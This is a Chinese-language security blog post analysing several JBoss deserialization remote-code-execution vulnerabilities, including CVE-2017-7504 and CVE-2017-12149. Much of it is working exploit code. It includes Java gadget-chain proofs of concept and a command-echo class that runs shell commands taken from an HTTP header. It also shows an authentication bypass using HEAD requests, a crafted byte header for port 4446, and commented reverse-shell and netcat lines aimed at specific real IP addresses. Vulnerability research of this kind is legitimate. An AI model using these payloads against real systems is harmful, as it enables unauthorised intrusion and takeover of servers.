JBOSS漏洞分析

Posted by Azeril on December 10, 2023

JBoss的远程调试 版本6

修改对应的  /bin/run.bat
set JAVA_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=y %JAVA_OPTS%

image-20231214202945812

idea直接debug进行配置

image-20231214203005899

image-20231214203105242

如果还是没有,org.jboss.remoting.transport.socket.ServerTread这个类

既然是JBoss Remoting Connector。定位到jboss-remoting.jar中的org.jboss.remoting.transport.socket.ServerThread类。该线程类处理接收到的socket数据流。分析关键方法durun()

可以发现只有jar包,没解压出这个类,直接idea模块导入 jboss-remoting.jar这个包,即可然后下断点

image-20231214223016850

image-20231214223034059

前言

JBoss是一个基于J2EE开发源代码的应用服务器是一个开源的JBoss是一个管理EJB的容器和服务器支持EJB1.1EJB2.0和EJB3的规范 但JBoss核心服务不包括支持servlet/JSP的WEB容器一般与Tomcat或 Jetty绑定使用

CVE-2017-7504

这个漏洞仅仅是一个反序列化的,下载地址:https://sourceforge.net/projects/jboss/files/JBoss/JBoss-4.2.3.GA

影响版本JBoss AS 4.x及之前版本

安装成功后需要修改jboss-4.2.3.GA/server/all/deploy/jboss-web.deployer/server.xml,设置远程访问

image-20231211175121457

漏洞分析

看到

jboss-4.2.3.GA/server/all/deploy-hasingleton/jms/jbossmq-httpil.sar/jbossmq-httpil.war/WEB-INF/web.xml

可以看到这是一个servlet,可以通过设置路由进行访问

image-20231211175933929

存在一个 HTTPServerILServlet 的 servlet,跟进到类

org.jboss.mq.il.http.servlet.HTTPServerILServlet

直接对输入的流进行readObject造成漏洞

image-20231211180245356

CVE-2017-12149

影响版本5.x6.x

下载地址:https://jbossas.jboss.org/downloads/,我这里下载的版本为JBoss AS 6.1.0.Final

漏洞分析

漏洞触发点在org.jboss.invocation.http.servlet.ReadOnlyAccessFilter#doFilter方法 image-20231211184114359

可以看出它从POST中获取数据,然后调用readObject()方法对数据流进行反序列化

在web.xml中发现了过滤路由的位置

image-20231211184540781

org.jboss.invocation.http.servlet.InvokerServlet#processRequest同样存在反序列化点 image-20231211185406822

并且,doget 、dopost都会调用processRequest这个方法

image-20231211185550700

有危险的路由

/invoker/readonly/*
/invoker/JMXInvokerServlet/*
/invoker/EJBInvokerServlet/*
/invoker/JMXInvokerHAServlet/*
/invoker/EJBInvokerHAServlet/*
/invoker/restricted/JMXInvokerServlet/* (需要登录)

可利用的jar包依赖

commons-collections-3.1.jar
commons-beanutils-1.8.0.jar
hibernate-core-3.6.6.Final.jar

访问500错误说明有漏洞,这里先用工具实验一下,(yunxu1/jboss-_CVE-2017-12149: CVE-2017-12149 jboss反序列化 可回显 (github.com)

image-20231211190754041

image-20231211191257461

JBossInterceptors1



import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javassist.*;

import javassist.ClassPool;
import org.jboss.interceptor.builder.InterceptionModelBuilder;
import org.jboss.interceptor.builder.MethodReference;
import org.jboss.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.interceptor.reader.DefaultMethodMetadata;
import org.jboss.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.interceptor.spi.metadata.InterceptorReference;
import org.jboss.interceptor.spi.metadata.MethodMetadata;
import org.jboss.interceptor.spi.model.InterceptionModel;
import org.jboss.interceptor.spi.model.InterceptionType;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.*;

import org.jboss.interceptor.builder.InterceptionModelBuilder;
import org.jboss.interceptor.builder.MethodReference;
import org.jboss.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.interceptor.proxy.InterceptorInvocation;
import org.jboss.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.interceptor.spi.instance.InterceptorInstantiator;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class poc {
    public static String string;
    public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {

//public InterceptorMethodHandler(Object targetInstance,
// ClassMetadata<?> targetClassMetadata,
// InterceptionModel<ClassMetadata<?>, ?> interceptionModel,
// InterceptorInstantiator<?, ?> interceptorInstantiator,
// InvocationContextFactory invocationContextFactory)


        InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
        ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
        InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);

        Set<InterceptionType> s = new HashSet<InterceptionType>();
        s.add(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);

        Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
        defaultMethodMetadataConstructor.setAccessible(true);
        MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));

        List list = new ArrayList();
        list.add(methodMetadata);
        Map<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();

        hashMap.put(org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
        SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);

        builder.interceptAll().with(simpleInterceptorMetadata);

        InterceptionModel model = builder.build();

        HashMap map = new HashMap();
        map.put("ysoserial", "ysoserial");

//        TemplatesImpl obj = new TemplatesImpl();
//        setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(Evil.class.getName()).toBytecode()});
//        setFieldValue(obj, "_name", "1");
//        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        TemplatesImpl obj=(TemplatesImpl)getTemplatesImpl();

        DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();

        InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
            public Object createFor(InterceptorReference paramInterceptorReference) {
                return obj;
            }
        };
        InterceptorMethodHandler exp = new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(baos);
        out.writeObject(exp);
        out.close();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();



//        org.jboss.interceptor.proxy.InterceptorMethodHandler
//        TemplatesImpl templates=(TemplatesImpl) getTemplatesImpl();
//        templates.newTransformer();




    }
    public static Object getTemplatesImpl() throws IOException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException {
        TemplatesImpl templates=new TemplatesImpl();
        byte[] evilBytes=getEvilBytes();
        setFieldValue(templates,"_name","JYcxk");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
        return templates;

    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }
    public static byte[] getEvilBytes() throws NotFoundException, CannotCompileException, IOException, NotFoundException, CannotCompileException, NotFoundException, CannotCompileException {
        ClassPool classPool = new ClassPool(true);
        CtClass hello = classPool.makeClass("Hello");
        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        hello.setSuperclass(ctClass);
        CtConstructor ctConstructor=new CtConstructor(new CtClass[]{},hello);
        //ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/101.42.224.57/8080 0>&1\"});");
        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        hello.addConstructor(ctConstructor);
        byte[] bytes=hello.toBytecode();
        hello.detach();
        return bytes;
    }
    public static void serialize(Object object) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(object);
        string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
    public static void unserialize() throws Exception {
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:74, InterceptorInvocation$InterceptorMethodInvocation (org.jboss.interceptor.proxy)
invokeNextInterceptor:87, SimpleInterceptionChain (org.jboss.interceptor.proxy)
executeInterception:133, InterceptorMethodHandler (org.jboss.interceptor.proxy)
readObject:158, InterceptorMethodHandler (org.jboss.interceptor.proxy)

直接进行调用链分析:

看到org.jboss.interceptor.proxy.InterceptorMethodHandler的初始化

任意调用方法的点在InterceptorInvocation$InterceptorMethodInvocation内部类中,并且内部类构造方法是包权限,

里面的invoke我们调用后面invoke,因为要用Templates#newTransformer()无参数

this.method.getJavaMethod().invoke(this.instance);

 public class InterceptorMethodInvocation {
        T instance;
        MethodMetadata method;

        InterceptorMethodInvocation(T instance, MethodMetadata method) {
            this.instance = instance;
            this.method = method;
        }

        Object invoke(InvocationContext invocationContext) throws Exception {
            return invocationContext != null ? this.method.getJavaMethod().invoke(this.instance, invocationContext) : this.method.getJavaMethod().invoke(this.instance);
                     //getJavaMethod()就是一个封装很好实现,instance需要成为我们的Templates对象,是个泛型应该也没问题
        }

image-20231211203211336

简单看一下就行,就是初始化类的时候有些复杂。

回显构造

需要用一下idea中的远程调试

首先先看一下当前线程:Thread.currentThread()

image-20231212161801019

遍历线程组可以获取到:org.apache.catalina.connector.Request,然后通过getResponse()方法得到Response,最后getWriter()方法回显,代码如下:

Object resp=Thread.currentThread().threadLocals.table[27].value;	
Object writer=resp.getClass().getDeclaredMethod("getOutputStream").invoke(resp);
writer.getClass().getDeclaredMethod("write",byte[].class).invoke(writer,"hello".getBytes());
writer.getClass().getDeclaredMethod("flush").invoke(writer);

但是数组的顺序是不确定的,所以需要用一种方式来代替:

数组的下标,通过org.apache.catalina.connector.Request 来代替

接下来的思路就是Entry[]table中某个值如何获取,table属于ThreadLocalMap的字段值, 可以通过如下方式获取

Class threadLocalMapClass=Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
Field tableFiled=threadLocalMapClass.getDeclaredField("table");
tableFiled.setAccessible(true);

这里获得的table是个数组,其具体值要通过get获得。value则属于Entry类的属性,同样它的值也需要反射get方法获得。

Class entryClass=Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
Field entryValueField=entryClass.getDeclaredField("value");
entryValueField.setAccessible(true);
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

public class JbossEcho extends AbstractTranslet{
    static {
        try {
            Thread thread = Thread.currentThread();
            Field threadLocals = Thread.class.getDeclaredField("threadLocals");
            threadLocals.setAccessible(true);
            Object threadLocalMap = threadLocals.get(thread);

            Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
            Field tableField = threadLocalMapClazz.getDeclaredField("table");
            tableField.setAccessible(true);
            Object[] Entries = (Object[]) tableField.get(threadLocalMap);

            Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
            Field entryValueField = entryClass.getDeclaredField("value");
            entryValueField.setAccessible(true);

            for (Object entry : Entries) {
                if (entry != null) {
                    try {
                        Object httpConnection = entryValueField.get(entry);
                        if (httpConnection != null) {
                            if (httpConnection.getClass().getName().equals("org.apache.catalina.connector.Request")) {
                                org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request)httpConnection;
                                org.apache.catalina.connector.Response response = request.getResponse();
                                response.setStatus(200);
                                boolean isLinux = true;
                                String osTyp = System.getProperty("os.name");
                                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                                    isLinux = false;
                                }
                                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getHeader("cmd")} : new String[]{"cmd.exe", "/c", request.getHeader("cmd")};
                                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                                Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
                                String output = scanner.hasNext() ? scanner.next() : "";
                                response.getWriter().write(output);
                                response.getWriter().flush();
                            }
                        }
                    } catch (IllegalAccessException e) {
                    }
                }
            }
        } catch (Exception e) {
        }
    }

    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
    }
    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
    }
}

绕过waf

/invoker/readonly/*
/invoker/JMXInvokerServlet/*
/invoker/EJBInvokerServlet/*
/invoker/JMXInvokerHAServlet/*
/invoker/EJBInvokerHAServlet/*
/invoker/restricted/JMXInvokerServlet/* (需要登录)

这是上面的危险路由,我们利用的是/invoker/readonly因为是filter所以不存在被拦截,

image-20231212165129638

但是这里加个鉴权/restricted/* 中,并且不能使用GET、POST方法

image-20231212165406095

可以看到 HEAD 头会调用doGet,而 GET 也会触发反序列,所以可以绕过登录实现反序列化 但是由于是NobodyResponse,所以我们需要在header头实现回显,改为:

response.addHeader("echo",output);
response.flushBuffer();

并且用HEAD请求方法即可

JBoss EAP/AS <=6.*RCE

测试版本:jboss-6.1.0.Final

主要原因是:jboss启动会默认开启4446端口,然后4446端口通过一些条件,就会有端口反序列化rce,和一条jndi的gadget

jboss会默认开启的端口

端口 状态 目的
1098 启用 RMI 命名服务
3528 已禁用 IANA 分配的 IIOP 端口
4444 启用 RMI JRMP 调用程序
4445 启用 RMI 池调用程序
4446 启用 远程服务器连接器
4447 启用 远程服务器连接器
4457 启用 远程服务器连接器
4712 启用 JBossTS 恢复管理器
4713 启用 JBossTS 事务状态管理器
4714 启用 JBossTS 的进程 ID
8080 启用 HTTP 连接器
8083 启用 RMI 类加载迷你 Web 服务器
8443 启用 JBossWS HTTPS 连接器套接字

image-20231215202238500

问题出在4446,这是个Remoting3端口,

首先会调用这个参数,windows直接

image-20231215203945978

image-20231215203922119

然后在下面的run()方法下个断点,直接调试到那里面,然后到dorun()方法

这里dorun()会直接获得我们的输入流

image-20231215204227300

然后通过代码下面进入 processInvocation方法

image-20231215211142057

通过this.socketWrapper获取socket的输入流和输出流,然后进入processInvocation()处理。在获取输入流的过程中,如果随便传输一字符串会报错,定位到: org.jboss.remoting.transport.socket.ClientSocketWrapper#createInputStream

image-20231215211226660

通过org.jboss.remoting.marshal.PreferredStreamUnMarshaller#getMarshallingStream(java.io.InputStream)处理socket接收的数据流is。中间经java.io.ObjectInputStream#readStreamHeader()进行处理。判断是否满足s0 == STREAM_MAGIC && s1 == STREAM_VERSION。如下图所示:

image-20231215211428547

其中,STREAM_MAGIC0STREAM_VERSION恰好是熟悉的反序列化头aced0005

(说明上面条件爱你需要是 flase   false,也就是等于这个序列化头,等于版本5)

image-20231215211516385

然后就会回到org.jboss.remoting.transport.ServerThread#processInvocation又抛出异常。

问题:this.version==-1不成立,导致了抛出异常,那么看一下 readVersion方法

image-20231215211649981

readVersion—>又通过inputStream.read()获得的版本号

image-20231215211929814

跟踪inputStream.read(),经过java.io.ObjectInputStream.BlockDataInputStream#read() -> java.io.ObjectInputStream.BlockDataInputStream#refill()

image-20231215212114380

初始unread的值为0,则会调用readBlockHeader(true)这个方法

我们需要构造in.peek()取到的值为TC_BLOCKDATA,类上面定义的值,为 0x77

final static byte TC_BLOCKDATA = (byte)0x77; 然后返回hbuf[1],即0x77后面的值,这里设置为0x01。即通过readBlockHeader()方法后返回值为1。

(0x01 & 0xFF ==1)

这里就会退出循环

image-20231215212714211

重新回到java.io.ObjectInputStream.BlockDataInputStream#read()中: image-20231215212921761

返回(buf[pos++] & 0xFF),此时buf经以上处理后为0x01后1位的数据,即0x02pos为0,即返回buf[0]&0xFF——2。 综上,设置0xaced0005770102数据流进入以上流程处理后,返回的version为2。

0xaced0005   反序列化头 第一层判定
    77       TC_BLOCKDATA的值 否则不能返回值  &
    01       返回一位也就是2
    02       最后控制的版本号,!=-1所以不会抛出异常

然后进入org.jboss.remoting.transport.socket.ServerThread#completeInvocation()`方法。

image-20231215213509471

通过

org.jboss.remoting.transport.socket.ServerThread#versionedRead->org.jboss.invocation.unified.marshall.InvocationUnMarshaller#read(java.io.InputStream, java.util.Map, int) -> org.jboss.remoting.serialization.impl.java.JavaSerializationManager#receiveObject进入receiveObject()方法。

image-20231215213528862

读取上面读取到的version值,如果为2,则进入receiveObjectVersion1_2处理。继续跟进,看到熟悉的objInputStream.readObject();

image-20231215213657490

jboss linux启动命令    ./run.sh -b 0.0.0.0 &
 at ser.bin | nc 1.94.96.143 4446 | hexdump -c

但是如果直接反序列化0xaced0005770102 ,直接反序列化会报错

image-20231218092644316

继续分析报错原因:定位到java.io.ObjectInputStream#readObject0方法: 通过tc = bin.peekByte()得到的数据进行分支判断,直接序列化后的数据头为-84,无法匹配以下任意值

image-20231218092719891

而正常反序列化流程需进入readOrdinaryObject(unshared)image-20231218092747417

而`TC_OBJECT`值为`0x73`,即去掉序列化头`aced0005`后剩余的部分。

image-20231218092808954

然后jboss自带CB1.8.3依赖

只需要把序列化头改为 0xaced0x730005770102即可


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;



import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

/**
 * @ClassName CBTest
 * @Author aY
 * @Date 2023/3/12 21:40
 * @Description
 */
public class CBTest {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates=(TemplatesImpl)getTemplatesImpl();

//        TemplatesImpl templates = new TemplatesImpl();
//        Class tc = templates.getClass();
//
//        Field namefield = tc.getDeclaredField("_name");
//        namefield.setAccessible(true);
//        namefield.set(templates,"aaaa");
//        Field bytecodesield = tc.getDeclaredField("_bytecodes");
//        bytecodesield.setAccessible(true);
//
//        Field tfactoryfield = tc.getDeclaredField("_tfactory");
//        tfactoryfield.setAccessible(true);
//        tfactoryfield.set(templates, new TransformerFactoryImpl());
//
//        byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
//        byte[][] codes={code};
//        //private byte[][] _bytecodes = null;
//        bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去



//        PropertyUtils.getProperty(templates,"outputProperties");
        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());


        //CC2
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
        Field comparator = priorityQueueClass.getDeclaredField("comparator");
        comparator.setAccessible(true);
        comparator.set(priorityQueue,beanComparator);

        serialize(priorityQueue);
        unserialize("payload.ser");
    }

    //封装serialize
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.ser"));
        oos.writeObject(object);
    }

    //封装unserialize
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
        Class clazz=object.getClass();
        Field declaredField=clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object,filed_value);
    }
    public static byte[] getEvilBytes() throws NotFoundException, CannotCompileException, IOException, NotFoundException, CannotCompileException, NotFoundException, CannotCompileException {
        ClassPool classPool = new ClassPool(true);
        CtClass hello = classPool.makeClass("Hello");
        CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        hello.setSuperclass(ctClass);
        CtConstructor ctConstructor=new CtConstructor(new CtClass[]{},hello);
        //ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/101.42.224.57/8080 0>&1\"});");
        ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        hello.addConstructor(ctConstructor);
        byte[] bytes=hello.toBytecode();
        hello.detach();
        return bytes;
    }
    public static Object getTemplatesImpl() throws IOException, NoSuchFieldException, IllegalAccessException, NotFoundException, CannotCompileException {
        TemplatesImpl templates=new TemplatesImpl();
        byte[] evilBytes=getEvilBytes();
        setFieldValue(templates,"_name","JYcxk");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
        return templates;

    }
}

image-20231223162810712


Creative Commons License
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。